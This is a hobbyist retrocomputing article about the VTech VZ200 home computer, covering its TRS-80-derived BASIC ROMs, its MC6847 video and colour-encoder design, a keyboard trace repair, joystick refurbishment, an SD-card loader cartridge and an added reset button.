Early Laser 100 computers came with 8K of ROM containing TRS-80 Level I BASIC, while the prototype VZ200 units shown at CES had an larger 12K ROM set apparently using upgraded TRS-80 Level II BASIC. Subsequent Laser 200/300-derived systems and the Laser 110 have 16K of ROM and TRS-80 Level II BASIC as well, which was deliberately obscured in later revisions of the ROM. Level I BASIC is quite, uh, basic, evolved by TRS-80 designer Steve Leininger from Li-Chen Wang's "copyleft" Palo Alto Tiny BASIC which Leininger substantially altered, reworking its structure and adding floating point math (because it couldn't accept Charles Tandy's salary when he typed it in), two string variables and a single array, and support for the TRS-80 hardware. VTech's version is similarly modified to support its own architecture but is otherwise the same. Level II BASIC is Microsoft BASIC, derived from Microsoft's own Extended BASIC on the Altair, and again VTech initially imported it nearly unchanged except for adding support for their hardware and graphics, which replaced some of the keywords (like TROFF with COLOR). Proof can be seen by comparing the order of keywords in their token tables, which would have no reason to match as precisely as they do unless they came from the same origin. Another persistent relic in the VZ BASIC ROM is the old Microsoft two-character error message table (e.g., ?SN ERROR instead of ?SYNTAX ERROR) even though the existing code never references it.

Tandy's apparently successful legal action against EACA and PMC spooked VTech that they could be sued in the same way — but by Tandy and Microsoft. The company's solution was to dump Level I BASIC entirely, eliminating any objection from Tandy, and for Level II BASIC to secretly null out a large number of entries in the ROM BASIC keyword table potentially unusual enough to be used as evidence of copying. The tokens for those keywords still remained valid, however, and the ROM code for them also largely persisted. Disk-specific keywords were likewise omitted in the same fashion, at least until the VZ-300 disk drive debuted, but unlike the other gutted keywords were instead vectored through RAM for later expansion. These keywords (in token order) are CMD, RANDOM, DEFINT, DEFSNG, DEFDBL, RESUME, ON, OPEN, FIELD, GET, PUT, CLOSE, LOAD, NAME, KILL, LSET, RSET, SAVE, SYSTEM, DEF, DELETE, AUTO, FN, VARPTR, ERL, ERR, STRING$, INSTR, TIME$, MEM, FRE, POS, CVI, CVS, CVD, EOF, LOC, LOF, MKI$, MKS$, MKD$, CINT, CSNG, CDBL and FIX. Because their implementations often remained present, it was possible to resurrect many of them by hooking into the RAM vector for tokenizing "new" BASIC keywords, and some BASIC extensions did just that.

The earliest versions of the Laser/VZ ROM use light green text on a dark green background. Without a colour encoder this would produce light text on a dark screen, which is indeed what you see on a black-and-white Laser 110 . Bill's earlier NTSC VZ200 is the same way , using the same ROM 1.2. By ROM 2.0, as in this VZ-200, the display became dark green text on a light green background, like the Tandy Color Computer which uses the same MC6847 video chip.

My unit here is also ROM 2.0 and comes up the same way, now with proper NTSC colours. This is notable because that means the American VZ200 must have remained in production long enough to actually get these final ROMs. Since we know that it's at least able to power up, we'll switch over to the composite capture rig for the remainder of our screenshots.

The presence of the 2.0 ROMs raises the question of whether we really have a 4K or 8K system here, despite what the sticker on the bottom says, so we should check that first. The VZ200 memory map is detailed in the Technical Reference Manual, but in broad strokes places ROM from $0000 to $3fff, option/cartridge ROM (or nothing) from $4000 to $67ff, memory-mapped I/O from $6800 to $6fff, video memory from $7000 to $77ff, and then the rest of RAM from $7800 to whatever the "top of memory" (TOM) is, either $ffff or the end of physical RAM, whichever is less. (This layout is not exactly as described if the disk system is present, but we're going to ignore that for our current purpose.)

On startup the ROM tests available memory and stores that final valid RAM address to the systemwide TOM pointer at 30897-8. On a 4K system we would only have 2K of general RAM available, so the TOM pointer should be at $7800 + $07ff, yielding $7fff or 32767. That is indeed the value of the TOM pointer, so we do have a 4K system, just a very late one.

You may have noticed the oddly convoluted BASIC statement I entered to get that figure. That's because I had to avoid typing the number 5: the key didn't work. Normally the VZ200 will beep as you press keys, but there was no beep and no response when I did. In fact, an entire run of keys (5, T, G, B and N) was not working, and I was only able to enter the PRINT keyword by pressing SHIFT-P. We'll need to fix the keyboard now to do anything substantial with this machine.

In the TRM's schematics we find the keyboard matrix, which is divided into an 6x8 grid with rows selected by the lowest eight bits of the address bus. (The TRM explains in section 3 that the matrix is scanned through simple memory-mapped I/O, another common attribute of crap home computers, even ones with CPUs like the Z80 and TMS9995 that have perfectly cromulent and proper I/O space.) The six columns are normally pulled high to +5V by a block of six pull-up resistors. As each address line row is cycled low during keyscan, if a key is pressed in that row, it will register a corresponding low level in its column to the chip at U12 which emits the six-bit result for the effective address onto the data bus.

My initial theory was that the column connected to R8 and U12 pin 8 was bad, which involves our 5, T, G, B and N keys as predicted. However, this column also involves the 6, Y and H keys, which did appear to work. Still, it seemed like the most reasonable place to start, so let's crack the computer open.

Internally the VZ200 is very simple and very cheaply made. There are three main divisions, the logic board itself, a smaller board to the left/west soldered to the main board with connecting jumper wires, and the keyboard, which is attached by a stiff wired plastic ribbon. There are no internal connectors, because that would have added cost and complexity, and for further cost reduction the circuit boards are all low-grade phenolic resin PCBs. Other low points include cardboard washers to prevent the mounting screws from shorting anything (we also saw this on another VTech unit , the unrelated Laser 50) and a plastic cover sheet with slits for the top ports' card edges to reduce dirt getting inside. Also visible on the top right/northeast side is a sprawling heat sink screwed to the fin of a 7805 voltage regulator peeping out from the lower right/southeast corner. This heatsink sits under the ventilation slits in the top case.

Much of the logic board is covered by a large sheet metal Faraday cage serving as an RF shield, festooned with soldered metal braids connecting everything to the ground plane, and then the whole assembly placed on an irregularly shaped metal plate on the bottom with the piezo. As mentioned, in those days the FCC was very strict about radio interference from computers and video games, particularly home units where a Class B device (as this is) had a 10dB lower maximum than a commercial Class A one. Some systems like the Atari 400 solved this problem by effectively encasing the entire system in a molded metal endoskeleton and placing as few holes in the case as possible from which radio signals could emanate. That made for a very sturdy computer but one more expensive to manufacture, so VTech went for this cheaper, hackier approach which was no doubt iterated upon until it just cleared the bar.

One major component is not under the cage, however, and that is the Motorola 6847 VDG video chip, in a plastic carrier (MC6847P) with a date code of 24th week 1983. It's not precisely clear why that is, but it can be seen that the left board is connected to some of its lines.

The chip on the left board is a Fairchild TBA520 manufactured by Telefunken (the date code is probably 25th week 1983). The TBA520 is a PAL synchronous de modulator, a surprising choice, since the MC6847 is usually paired with the MC1372 NTSC colour mod ulator. The 6847 emits YPbPr (as Y, B-Y and R-Y) video, which in the black and white Lasers only the Y (luma) signal is used. In other systems like the Tandy CoCo the MC1372 takes the YPbPr lines, encodes the colour, and emits a signal suitable for a television set and/or composite video depending on the specific components.

The TBA520 can be made to do the same task, even generating NTSC colour with the right crystal, albeit with more supporting electronics. (I presume it was less expensive than an MC1372, plus there would be the advantage of not having a different chip for Euro and Aussie systems, since the TBA520 can obviously do PAL video too.) Reference B-Y and R-Y signals are generated to the TBA520 using the 3.58MHz (315/88) NTSC colourburst oscillator on the left board, while the B-Y and R-Y signals from the MC6847 are passed on different lines, with the MC6847 running on the same 3.58MHz clock. We then pulse the TBA520's line inputs at the necessary horizontal rate, approximately 15.7343kHz, causing the TBA520 to emit a single NTSC chroma signal (on its G-Y pin) from the 6847's PbPr signals. (This theoretically makes it possible to get proper S-video out of the VZ200, though we're not going to try that this time.) Discrete components then combine the luma and chroma into composite video for both the monitor connector and for feeding into the separate RF modulator.

For comparison, here is the inside of the Aussie VZ-200. The heatsink-7805 assembly can be seen here as well, but the big difference is that the logic board is longer and the left board, which we now know to be the colour encoder, is sitting on top of it and the 6847. The additional circuitry under the colour encoder is what coerces the 6847, which requires a 3.58MHz NTSC colourburst frequency signal and expects to generate a 60Hz 262-line interlaced NTSC display, to generate a credible 50Hz 312-line interlaced PAL one instead. The 6847 is an autonomous device and draws the screen independently of the CPU. When the 6847 is done, it emits a signal, typically used as an interrupt to the CPU, but here also used along with the horizontal sync line to drive a series of discrete logic counters. These counters intermittently redirect the VDG's clock signal, halting it for a certain number of screen lines each time to pad out the frame by another 50 lines. These added lines also necessarily reduce how often the VDG is free to scan video RAM and draw the next frame (i.e., (262/312)*60 is ~50.385), thus achieving the reduced refresh rate.

The colour encoder board here has a 4.43361875MHz PAL colourburst crystal, but uses the same TBA520 part to generate the chroma signal. Because of the added circuitry required (including a long power wire) and the fact the colour encoder board now needs to be stacked on top because of the limited space available, this is good evidence that the VZ200 was designed first and foremost for the United States: the case fits the NTSC colour encoder board and its shorter main board more elegantly, and fewer components were needed overall (cheap!). Adding PAL components for the Euro and Aussie versions made the system more complicated and slightly more expensive to manufacture, which wouldn't seem like a desirable initial design result, and the American market was of course much larger — assuming you could actually sell any.

The redesign of the VZ-300 gives up even fewer of its secrets. The RF modulator and heatsink-7805 assembly persist, but everything else is sheathed inside the soldered-down Faraday cage, even the VDG and colour encoder board. Small apertures allow trim adjustments for the video, but that's about it.

Still, through the holes we can see the MC6847 ...

... and a real Zilog Z80, with a date code of 18th week 1986.

Back to the Yank VZ. To be able to check continuity we're going to need to get the keyboard out, so we'll start by removing the small screws affixing it to the top case.

The keyboard appears to have been installed at the factory by slipping it behind this plastic strut, screwing it down, and then soldering on the ribbon and epoxying it for strain relief. Unfortunately the strut is preventing the keyboard's removal and we can't cleanly reverse those steps, so I decided to just break the strut to get it out. The screws will still hold the keyboard in place when we put it back.

We can now separate the PCB from the rubber key sheet (no individual keys fortunately) and slide it out, still attached to the motherboard.

Turning it over, the keyboard PCB has multiple contact pads that are connected when the conductive nubs on the bottom of the key sheet press against them. The traces carry the lines from the keyboard matrix and intersect at those contact points. To avoid having to make a multi-layered board, traces crossing traces without connecting them are separated from each other with a strip of insulating material, and the crossing trace then bridged using what looks like conductive paint (cheap!). With this in mind, if we map out the traces starting from the top (north) row at the 5th position from the left (west), which is the 5 key, we have our line of bad keys. It starts at 5, then goes southeast to T, G, and B, and then east (right) to the N.

That seemed suspiciously like a continuity break to me, so I verified continuity between the 5 key (the closest to the ribbon cable) and the ribbon cable, and got what appeared to be a good connection.

Next I looked at where the ribbon cable attaches to the logic board. This is also soldered on. Checking the same contacts, there appeared to be continuity from the 5 key to the logic board as well, which would rule out the connector and the ribbon as causes. Now we need to open the Faraday cage to see if there's a break inside on the main PCB.

The Faraday cage is held on by metal tabs passing through the motherboard and soldered beneath it. Eventually I'm going to completely remove the Faraday cage because I don't care about RF leakage and it's just in the way (and I may need to do some work on the board later, though we'll talk about that after we fix this problem), so I decided to just clip the tabs with angle cutters. One of those tabs is here over by the 7805 ...

... and the other by the MC6847. The other two tabs are in the back corners and were pulled down flush with the board which might have made it hard to cut them without scuffing traces, so I just bent the RF shield back at this point.

Now we can see the main components. This is a single-sided board (cheap!), so there are no hidden pieces on the underside except for the piezo at the bottom, and you are therefore looking at just about the entireity of what's there. A few months ago we did an exhaustive teardown of a 1985 Canadian video titler, the Scriptovision Super Micro Script , which has a 6802 CPU (a microcontroller version of the 6800) and a 6847 VDG, RAM, ROM and a simple keypad for entry. In that article I mentioned that those were enough to make it almost a home computer (replacing the ROM on the Super Micro Script to make it one) because home computers like the VZ-200 have a similar architecture. Now we'll prove the comparison is valid.

In this view, the MC6847 is the large DIP on the far left/west side. The chips in the back, going from left to right, are a Hitachi HM6116P-2 2K static RAM used for video memory, the CPU, a clone SGS Z80 (the former state-owned SGS Microelettronica "Società Generale Semiconduttori" of Italy prior to merger into STMicroelectronics in 1987) with a date code of 19th week 1983, a Hitachi 74LS139 and 74LS32 used as part of the address decoding for the memory mapped I/O range, and lurking in the back right (east) corner a 74LS174 6-bit flip-flop serving as a latch register. In the front, also left to right, are a Hitachi 74LS245 octal bus transceiver which bridges the shared 2K video RAM between the CPU and VDG, a Hitachi 74LS04 hex inverter used for various tasks such as the CPU reset circuit, a Hitachi 74LS244 octal driver, another Hitachi 6116 2K SRAM (the system RAM this time), and the two 2364 8K system and BASIC ROMs with date codes of 27th week and 32nd week 1983 respectively. On the Dick Smith schematic using the same order, these chips are numbered U15 (the 6847), then U7, U4, U3, U2 and U1 (74LS174), then U14 (74LS245), U13, U12 (assumed), no designation for the single 2K SRAM, and U10 and U9 for the ROMs. The ROMs are unsurprisingly the newest chips in the system and mean the computer could not have been assembled earlier than then, likely making it part of the last production runs before VTech abandoned the line in North America.

Obnoxiously, everything is soldered down; there are no sockets (cheap!). However, there are a number of unpopulated pads. Some extra pads near the ROMs were clearly intended to accommodate larger-capacity chips, and later machines indeed use a single 16K ROM with a change in board jumpers nearby. (Braver folks than I have extracted VZ-200 boards with 2364s and found bodge wires underneath. Apparently underpaid labour and smaller ROMs were less expensive at the time. Cheap!) There is also another set of pads near the VRAM chip between it and a big block of through-hole resistors. It's not clear what these pads were meant for, though the VZ-200 schematics show another resistor bank there serving as pull-ups. This bank is drawn on the schematic with dotted lines unlike the other set, so perhaps they were eliminated for cost reasons (cheap!).

Now let's talk about what we don't see. One thing we don't see here is a 3.58MHz master crystal. That's because ... we already saw it. The entire system runs from the 3.58MHz crystal on the colour encoder , so everything is precisely synchronized to the same clock source, including the TBA520, the MC6847 and the Z80. It is therefore impossible to merely switch the colour encoder boards and turn an NTSC VZ200 into a PAL VZ-200 or vice versa because of the added line padding circuit in the PAL unit and the absence of a second system crystal in the NTSC unit (cheap!). What about the VZ-300, where there's no 3.58MHz crystal either? In that system, the VDG is entirely clocked by one of the gate array chips, providing the same line padding logic, but also using the same 3.54MHz clock as the CPU which is apparently "close enough."

Another thing we don't see is something like a Motorola 6883 synchronous address multiplexer. Recall that the 6847 VDG has no externally exposed registers of its own (compare to, say, the VIC-II in a Commodore 64). Things like video modes and character attributes are twiddled by chip lines; for character attributes these lines are often wired to certain data bits from the video RAM, but to dynamically set a video mode under software control requires external hardware. Also, the VDG makes little attempt to cooperate with the CPU as to when it accesses video memory, other than indicating when it finishes a frame which is likewise asserted on one of its pins. In the Tandy Color Computers (prior to the CoCo 3, which uses a GIME), the MC6883 SAM sits between the 6809 CPU and the 6847 VDG and arbitrates all of this, managing the display mode and system timing, and servicing the VDG while the CPU is on the bus. On the other hand, this approach was judged too expensive for the cut-down Tandy MC-10, which instead uses a series of flip-flops to interleave bus access between its 6803 CPU and the 6847. A single 74LS245 bus transceiver allows the CPU unrestricted access to the video RAM when the processor is accessing memory.

Neither approach is suitable in this case, however. An MC6883 would be too expensive for the VZ200 also (cheap!), and the Z80 sits on the bus longer during a CPU cycle than a 6502 or 6800-family chip would, so the MC-10's interleaved approach won't work either. As it happens, the VZ200 does nearly exactly what the Scriptovision Super Micro Script does: during CPU video RAM access, the VDG's memory fetch is immediately suppressed using its MS pin and the 74LS245 bus transceiver temporarily kicks it off the bus. The contention problem is solved in both cases with software (cheap!) by simply not doing anything with VRAM until the VDG indicates it's between frames and not reading screen memory. The only difference is how they find that out; the SMS busy-waits on the VDG's FS signal before doing a screen update, while the VZ200 just wires FS to its IRQ line — screen updates using ROM routines are batched and when the interrupt is triggered, the ROM then blits the deferred changes to the screen all at once. Of course, if you write directly to the video RAM when the VDG is accessing it you'll get intermittent artifacts, and I'll show you what that looks like, but you can just watch for the IRQ yourself if you really care about it (many programs didn't). Otherwise, the VDG's mode pins for bitmapped graphics and alternate colour selection are handled through bits in the 74LS174 latch within the memory-mapped range, which also handles the piezo and cassette output. Overall this is a good demonstration of how the SMS was almost a home computer , because here's a home computer whose video architecture was almost the same.

A missed opportunity with the more upmarket VZ-300 was the potential for lowercase or at least an alternative character set, especially because it even got a word processing cartridge released for it later (we'll play with it, it works with the VZ-200 also). An external font ROM can be lashed to the 6847 with a bit of additional circuitry and the Super Micro Script has one to generate higher-quality character glyphs. It seems like VTech could have done something like that controllable by another latch bit, and with a six-bit latch there are a couple more data bits there that could be used, but I guess that was either judged too risky or not even thought about. On both systems the 6847 INT/EXT pin that would have controlled this is merely hardwired to ground.

One note about the metal RF shield: if the cage is not pulled back down into position, it may distort and contact some of the pins on the 74LS174. This will cause weird graphical artifacts and knock out the piezo (no keybeep). It doesn't appear to harm the computer, but I was very careful to ensure it was bent back to as similar a position as before after this happened a couple times. Obviously this is no problem if you just completely take it off.

The situation is slightly more complicated on the VZ-200 with the 6K RAM daughterboard. Here you can see it sitting on standoffs with the lines from the three 2K SRAMs wired into where the single 2K SRAM would go, next to its NEC D780C CPU, another Z80 clone, with a date code of 21st week 1983.

The 74LS244 in the front is not identified on the Dick Smith schematic, but the presence of six 4.7KΩ resistors near it rats it out as the U12 chip in our keyboard matrix. These resistors have continuity with the +5V plane, so they are the column pull-ups. Yes, the solder is supposed to be bridged between some of the resistors and the 74LS244 like that; some checks with the continuity probe indicate it is wired exactly as indicated.

The eight diodes for the rows are located near the cable. Probing these I got continuity between them and the 5 key as well.

I was now starting to wonder about the 74LS244, because it had some weird bronzing like it had gotten burned or something. We know that the key is sensed if it goes logic low during scanning, so I ran a jumper between the metal braid (grounded) and pin 8 on the 74LS244 where that column should be connected, and turned the computer on. On my portable composite display you can see it acted like the G key was stuck down, which seemed plausible depending on the order the rows get scanned, so I concluded that chip line was probably fine.

I went back to the keyboard PCB and started testing the other keys that weren't working. The T key and G key pads appeared to have good continuity also.

Testing the bottom row, however, I abruptly lost continuity. Probing the individual connections between traces revealed a break in the conductive paint above the N key. This line gets propagated to all the other keys above it, and those keys' apparent connectivity was thus actually only on one side (and I was testing that ), which is why they could never complete a junction and be sensed. On the other hand, the 6, Y and H keys on that column are wired separately into the ribbon cable, so they were unaffected.

I'm not sure how such a fault would have happened. The keys move, but they don't sweep or scour, and ordinarily they shouldn't be contacting the painted portions anyway. It also doesn't seem likely to have been a factory defect because that would have made the computer very difficult to use, and this computer was clearly used.

I pondered the best way to fix it, since any repair would have to be flat or it would distort the key sheet on top (e.g., no solder blobs, no top bodge wires). I have a circuit pen I could use to draw a new trace, but it's temperamental, and I didn't want to do something I couldn't undo later in case it wasn't actually the problem.

Eventually I hit on a cheap solution of my own: a small single-layer sliver of alumin(i)um foil. I put the foil strip between the two points of the break and secured it with Kapton tape, and the whole thing laid nice and flat. If my theory turned out to be wrong, I could just remove them and try something else.

But the keys now do work!

Using the angle cutters I nibbled off any portion of the Kapton tape that might cover up nearby pads and exhaustively checked all the keys. They all worked. The keyboard is fixed.

We then slip the keyboard PCB back behind the strut, making sure that the LED comes out through its little hole in the top case ...

... and replace the screws. Do not overtighten them or you will interfere with the conductive nubs being able to make contact. I had a couple dud keys initially after this which were returned to life by slightly loosening the screw nearest to them (to my great relief).

While we were in there, I decided to make sure the display quality was as good as possible by tweaking the colour encoder's trim adjustments, since its components had likely drifted with age. On this board the two trimpots control the colour phase, while the trimcaps appear to adjust image stability. I wrote a quick BASIC program to display the 6847's full palette, which is only possible using semigraphic characters, and tweaked it by eye for good colour on both my handheld composite display, the Commodore 1702 and my composite capture box. Here is how it came out with alternate text colours (i.e., with the 6847 CSS pin set with

COLOR ,1

):

and the default:

That brings me to a brief digression on the VDG and colour. Many people, especially those who have only used VDG-powered machines in emulation, think they emit beautiful fully saturated RGB, that the green is a gorgeous

#00ff00

and red is

#ff0000

and so forth. That is definitely not the case; in fact, the default VDG palette is rather a bit muddy, with relatively poor saturation. For example, black (what the border is supposed to be) is often more like a very dark brown, buff is a dirty off-white, magenta becomes a flaccid purple where the red is a little too low, and what the documentation calls cyan comes out closer to seafoam green. Unfortunately, many simpler or older emulators provide an excessively rosy (no pun intended) simulation of what these typical home computer implementations usually generated. MAME uses the correct palette and the VDG's Wikipedia entry has a credible synthetic screenshot based on the YPbPr values in the datasheet, which you can compare with the real composite grabs above.

That does not mean that the MC6847 VDG is incapable of good quality colour. It is absolutely capable of good output, but to do so it needs a quality encoder, and the VZ's ain't it. The best colour I have ever seen from a VDG is actually the Super Micro Script 's, using a very high quality output stage as shown in the actual grab above, and comes out vibrant, beautifully saturated, and fabulous on a CRT. You would expect that, however — it's a $500 prosumer video titler from 1985, not a $99 crap home computer from 1983.

The next order of business is software. I'd rather not use tape or audio files, and I don't have the disk drive. Fortunately, because the VZ series is so beloved in Australia, those wacky Aussies occasionally create their own modern peripherals in between prawns on the barbie. If you have a VZ-series computer, then you need the BennVenn VZ300 SD Loader . It is fairly inexpensive and provides you a way to load software into your VZ-series computer via SD card, along with topping off the RAM, even more memory with bank switching, and optional solder-yourself connectors for gamepads and I/O expansion.

I figured it might be fun to build some hardware for it (and we're going to create a very simple expansion ourselves for the VZ200 in this article), so I ordered the full kit. It works well for my purposes and my wife has ordered another for the VZ-300 now at my in-laws' house in regional NSW. However, I am neither affiliated nor associated with Ben, merely an overall satisfied customer, so this is the part where I will also make three gentle constructive complaints about it.

First, things like new firmware are largely delivered through a private Facebook group. This group appears to be very welcoming to new members, but it requires you to be on Facebook, and I don't want to be on Facebook. I managed to get the current firmware another way, and I will be putting it in the Github repo for this project so you don't need to join Facebook either. (If you do want to join, however, I'm sure the "VZ200 VZ300 Laser210 Laser310 fans" group would love to have you.) On the other hand, Ben was reasonably accommodating of my questions over E-mail which I did appreciate.

The second complaint has to do with assembly. If you don't want to hook up joypads (it's reportedly compatible with SNES ones) or create your own expansion device with its GPIO pins, and you're only using the RAM expansion and SD card interface, then you can just put it in the included 3D printed case, insert a card, plug it in your computer and use it immediately. I think most people are doing exactly that. However, I wanted both those things, so I started on the GPIO connector first. The expansion GPIO pins need their own headers and Ben provides a set of right-angle through-hole headers that you solder on. Once attached, the 3D case has a thinned-out rear strip you can snap off to expose the pins.

Unfortunately, the GPIO pins are not strictly wired in order, so finding a bad solder joint may require checking continuity in unexpected places. The proto board here that Ben used to sell has a set of surface mount LEDs that makes finding a bad line easier, and all of the LEDs should be lit when enabled, so I was immediately able to detect a couple of dud joints on my first pass. (It doesn't look like these boards were very popular and he doesn't appear to sell them right now; check his site for the latest.) However, I then proceeded to waste an entire hour reflowing one particular joint repeatedly that looked like the right one until I got out the continuity tester and realized the actual fault was elsewhere. I'm not sure why some of them were routed around instead of in a straight line.

The third complaint also has to do with assembly, but the joypad connectors this time. VZ joysticks have various, uh, deficiencies in their design that I'll get to soon, but they also have two buttons, which means you can't directly substitute something more familiar like an Atari stick. (The Tomy Tutor has a two-button joystick, however, and being a Tutor dweeb I have a number in stock, so I might think about how I could use one of those.) Ben's solution was to implement support for Super Nintendo game pads, where they can emulate a VZ stick, and software aware of the extra buttons can read those too. There are no ports on the cartridge, though: you get to solder those lines on yourself as well, passing the cable through preweakened holes in the case that you ream out.

I doubted myself several times on the orientation because of how the cartridge has to get mounted in the case. On the case side where the wires come in, the board is actually mounted upside down, and the joypads on each side are wired in mirror images of each other. I first wired the left pad completely wrong, then got it right but wired it to the wrong side of the board, then didn't notice the mirror image orientation and wired the second pad wrong. Police may have been called for a welfare check by this point.

In the end I never got the joypads working. I realize I have less manual dexterity than an inebriated wombat, and it is possible that the Shenzhen knock-off SNES pads I used were defective, but I had continuity from the inside of the joypad all the way through to the SD loader board and it still wouldn't work. Plus, because SNES pads generate a clocked data stream, not individual switches like Atari (or Tutor) sticks, if you mess up even one line you'll probably get nothing. That's indeed precisely what I got, so I just cut off the ends of the cables and gave up. I may try putting a port on in the future and messing with it some more but I don't think I'm going to be up to that for awhile. I'm glad this unit exists; it just shouldn't have been quite that tricky to get the most out of it.

Still, our prize for all that is ... the BennVenn board "just works" with this seppo VZ200, though I suspect this is the first time his board has ever been used with an American unit, and the TOM pointer is filled out all the way to 65535 as expected. It appears the cartridge thinks this machine is a Salora Fellow , a Finnish rebadge of the 4K PAL Laser 200 (by contrast, the Salora Manager is a Finnish rebadge of the CreatiVision-derived Laser 2001). This is determined by a simple memory map check in a snippet of its VHDL that Ben shared with me:

RAMarea300   <= '0' when (Address > x"B7FF" ) else '1'; --B800 or higher
RAMarea200   <= '0' when (Address > x"8FFF" ) else '1'; --9000 or higher
RAMareaSelora   <= '0' when (Address > x"7FFF" ) else '1'; --8000 or higher 

This section checks the detected top of memory and sets certain flags to be able to fill the rest of the address space with RAM. The VZ-300 has the most onboard RAM ending at $b7ff, so the cartridge only adds on an extra 18K. On the other hand, the Fellow's memory space ends at $7fff, just like ours, so it gets an entire 32K to fill the remainder. The cartridge detects our memory map is the same as a Salora Fellow, so we also get the extra 32K, which is exactly what we want.

I also plugged it into the DSE VZ-200, and it worked perfectly there too.

Since we're not going to use the joypads, that means we'll be using the joysticks. (Note from the future again: many VZ games play just fine with the keyboard and I didn't use the joysticks much after all, so I'll probably just not bother with joypads when I build the unit for the VZ-300.) The BennVenn cartridge emulates VZ sticks by default, even if the joypads aren't connected, but you can easily turn this off and use the regular joysticks.

The joysticks are technically three separate peripherals, namely two JS-20 joysticks and one JI-20 interface, though they're in practice one unit since they can't be easily separated; the joysticks themselves are soldered directly to the interface board (cheap!). Both the VZ-200 and VZ-300 joystick sets are internally the same. This is the interior of the interface, with only three chips: a 74LS09 quad-AND, a 74LS138 for address decoding and a 74LS367 hex bus driver. The computer itself has no specific support for reading the joysticks (cheap!), moving all the "smarts," as it were, to the interface and querying their state through ports in the Z80's canonical I/O space instead of memory-mapped I/O. When the IORQ line is asserted by the CPU, the 74LS138 is used to check the address on the low eight bits of the address bus, which are the only address lines carried on the peripheral port connector, and correspondingly enable (or not) the switch status for the appropriate joystick to be put on the data bus. Separate ports (39, 45) are used for the buttons as well as the directions (43, 46).

Although we have a brand spanking new set for the VZ200, when I tested the VZ-300's some of the directions didn't seem to work at all, so let's see if we can fix them.

I'll set some expectations here beforehand: even at their best these were pretty horrid joysticks. We know this because we can use the brand-new VZ200 sticks as a benchmark; they have little throw and you have to hit directions dead on or sometimes they won't register. This is because the stick pushes a plastic ring with four pins into one or more metal leaf-spring switches (again mounted on a crummy phenolic resin PCB) to indicate direction. Unfortunately these plastic pins are neither particularly durable nor especially hard, and unless you hit it squarely and precisely, the pin may not be able to engage the corresponding switch.

The leaf-spring switches themselves can also go bad, either because the leaf is fatigued and stretched from too many presses, or because the metal button it contacts is oxidized or otherwise unable to make an electrical connection.

To rehabilitate each directional switch in each joystick, I started by scraping the top of the metal button to ensure that there was exposed conductive metal, then crimping the leafspring against the button until that bit in the port went low (engaged).

I then pried the leafspring up little by little just until the bit went high (unengaged) and checked the switch's responsiveness with my finger, repeating as necessary. This at least got the VZ-300 sticks to respond as "good" as the VZ200's, which is to say somewhere between annoying and obnoxious, and that's all I have to say about that. If the sticks fail again and end up being unserviceable, I think I'll look into a way of connecting a Tutor or modified Atari stick here instead.

When reassembling the sticks, be sure that the square pin on the bottom of the plastic ring goes through the hole for it in the switch board, and that the central screw is tight (the whole thing is spring-loaded).

For completeness, here's the inside of the RAM expansion. Even though I don't think this was subject to FCC clearance, and certainly has no tag for it, the box is sheathed in a sheet metal cage as well. The case has ventilation holes top and bottom, covered with a bit of screening to filter junk, but I can't imagine they would have helped much if that cage ended up trapping heat.

On the PCB side, however, you can see what we need to see: eight footprints for, in this 16K expander, what must be 2K RAM chips. The TRM shows them as 4116 DRAMs. The rest of it, according to the schematics in the TRM, is two 74LS157 4-bit multiplexers for managing the address bus, a 74LS74 dual flip-flop, a 74LS123 monostable multivibrator, a 74LS32 quad-OR, a 74LS00 quad-NAND and a 74LS266 quad-exclusive NOR.

As we finish getting our system in order, there was one more modification I ended up doing out of concern for the workout I was giving its rocker power switch, especially when all I really wanted to do is merely reset the computer. (The BennVenn reader does not handle card re-insertion, even the same card, without a reset.) Like most CPUs of the time, the Z80 does not reset itself automatically when power is applied, so a small circuit in the VZ200 briefly pulls its reset line to ground when the power switch is first turned on. The length of time the reset line is grounded is determined by a single capacitor also connected on one side to ground. Once this capacitor fully charges, the reset line is pulled up to +5V and the chip continues operation.

Earlier VZ reset switches simply shorted this capacitor to discharge it, thus forcing the reset line to be grounded anew until the capacitor charged back up, and this particular modification was well-documented in Australian hobbyist magazines of the time. Unfortunately, although the TRM schematics label resistors and capacitors, the VZ200 board itself does not (or anything else), and the capacitor in question appears to have moved with the redesign of the board for PAL. I also couldn't think of a place to put the reset button, nor was I particularly enthusiastic about drilling a hole in the case to make one, first due to the questionable quality of the plastic itself and second for purposes of historical preservation of an unusual machine.

Happily we have another option, and it doesn't require altering the VZ200 at all: the expansion port itself has both reset and ground lines that go directly to the CPU. Recall from our wire-up of a Gremlin Blasto arcade board (where we had no reset circuit of any kind) that its 8080A CPU could be crudely reset by simply putting a pushbutton switch between its reset pin and ground. As the Z80 can serve as a drop-in upgrade for an 8080, it can be reset in the same way.

That means all we have to do is solder a pushbutton switch between the corresponding pins (i.e., pins 1 and 2) in the SD loader cartridge, in this orientation the farthest two from the SD card slot. One caution: don't get this backwards because even though pin 22 appears as N/C in the TRM, it's actually ground — and pin 21 is +5V.

However, not only do we have to modify the cartridge's case to make the switch accessible, but we also need to figure out some way of detaching the switch if we want to even open the case. For that, the wires I actually soldered to the pins go to two Dupont female jumpers. I then soldered the pushbutton to two Dupont male jumpers (polarity doesn't matter).

After that I drilled a second hole in the side of the cartridge case ...

... and threaded the female jumpers out through it.

Last but not least, we connect the male jumpers to them. If we need to get back into the case, we just pull off the button switch and reattach it after.

Our complete upgraded system, with cartridge, joysticks and reset button, is ready to go. (Perhaps a reset button feature could be considered for a future revision of the SD loader.) That makes it time for a little tour of the system — which is where another, less tractable problem with this particular unit will emerge shortly.

Meanwhile, let's put some files on the SD card and try them out. The firmware expects them to be in the more or less standard .VZ format, which has a trivial 24-byte header indicating filename, starting address and type (BASIC or binary). The LOAD command will conveniently auto-execute binary files when the load completes. You can find many programs on Dave "Bushy" Maunder's exceptionally comprehensive site containing software, photographs, articles and documentation, and most software he offers can be copied directly to the card and used immediately.

I started off with a converted copy of the demonstration cassette, which was written by VTech themselves and serves as a rather slight introduction to the system.

Although the individual files can be loaded from the SD card reader, it is not implemented as a cassette deck, so since each subsection of the demo is kept small to fit into a 4K VZ200, they will all soon try to load the next part and then just end up sitting there. At that point you must stop it with BREAK and manually load the next part, stored in numerical order.

Still, it's very friendly and welcoming to new computer users, including a nice little semigraphics picture as part of the sequence. Remember that VDG semigraphics, at least as configured on the Laser series, are at most one colour plus black in the same 2x2 cell, appearing when the high bit in text screen memory is set. Despite that limitation, with a little thought you can use it to make very striking displays as it is the only mode where every single colour can appear onscreen simultaneously (or black can appear at all).

